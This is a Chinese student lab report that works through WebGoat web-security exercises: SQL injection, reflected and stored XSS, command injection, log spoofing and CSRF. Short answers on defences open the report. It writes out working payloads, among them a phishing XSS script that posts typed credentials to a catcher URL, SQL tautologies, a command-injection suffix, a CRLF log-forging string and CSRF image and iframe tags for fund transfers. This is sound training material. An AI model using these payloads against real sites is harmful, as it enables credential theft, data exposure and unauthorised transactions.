2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

回答问题
(1)SQL注入攻击原理,如何防御
原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
防御:对输入进行限制,包括输入长度和特殊字符的类型等
(2)XSS攻击的原理,如何防御
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:收集JSP特征,对内容进行严格验证,规定格式。
(3)CSRF攻击原理,如何防御
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

实验内容

  • 执行java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat

1.Phishing with XSS

  • 在搜索框里输入XSS攻击代码
</form> <script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR> <H2>This feature requires account login:</H2><br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
  • 在表单内填写的用户名密码会被捕获发送给你

    2.Reflected XSS
  • code输入框内输入<script>alert("20165228szkun");</script>
  • 点击purchase,则会弹出窗口,内容是输入代码中的字符串。

    3.Stored XSS Attacks
  • 在发的帖子message部分插入jsp代码,当该帖子被浏览时,该代码也会被浏览器解析成html的内容。
  • 在message中输入<script>alert("20165228 shi cai ji!");</script> 提交后,浏览该贴,成功弹出窗口,说明攻击成功!


    4.Command Injection
  • 右键复选框,选择inspect Element,在某个选项后加上"& netstat -an & ipconfig"
  • 在页面中选择该选型,然后点击view,则会出现该命令执行的结果

    5.Numeric SQL Injection
  • 根据其SQL语句SELECT * FROM weather_data WHERE station = [station],在填入的字段中注入特征字符,查看所有的天气数据。
  • 右键复选框,选择inspect Element,然将value ="101"改为value ="101 or 1=1",其值对应的是Columbia,修改完成后选择该选项,然后点击Go!即可查看所有天气数据。


    6.Log Spoofing
  • 通过调整输入,从而隐藏登录的信息,不使它被记录到日志文件中。
  • 在用户名输入szkun%0d%0aLogin Succeeded for username: admin

    7.String SQL Injection
  • 通过SQL注入构造永真式,使用者可查询到所有的信用卡号。
  • 在输入框直接输入‘or 1=‘1即可

    8.Cross Site Request Forgery
  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的Screen和menu的值:
  • message内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500"/> 当点击该图片时,就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。
  • 提交后点击该链接,可查看操作信息。

    9.CSRF Prompt By-Pass
  • 利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器
  • message框输入<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 点开链接

    问题

  • 一开始从链接下载好webgoat后进入该页面发现内容好像有点不一样,经了解是因为JDK的问题,然后又根据Linux下JDK安装配置好了JDK,然后重新进入该页面就可以正常使用了。

    实验感想

  • 本次实验涉及的东西比较综合,要对HTML与SQL语句比较熟练,才能完全理解其中的原理!

相关文章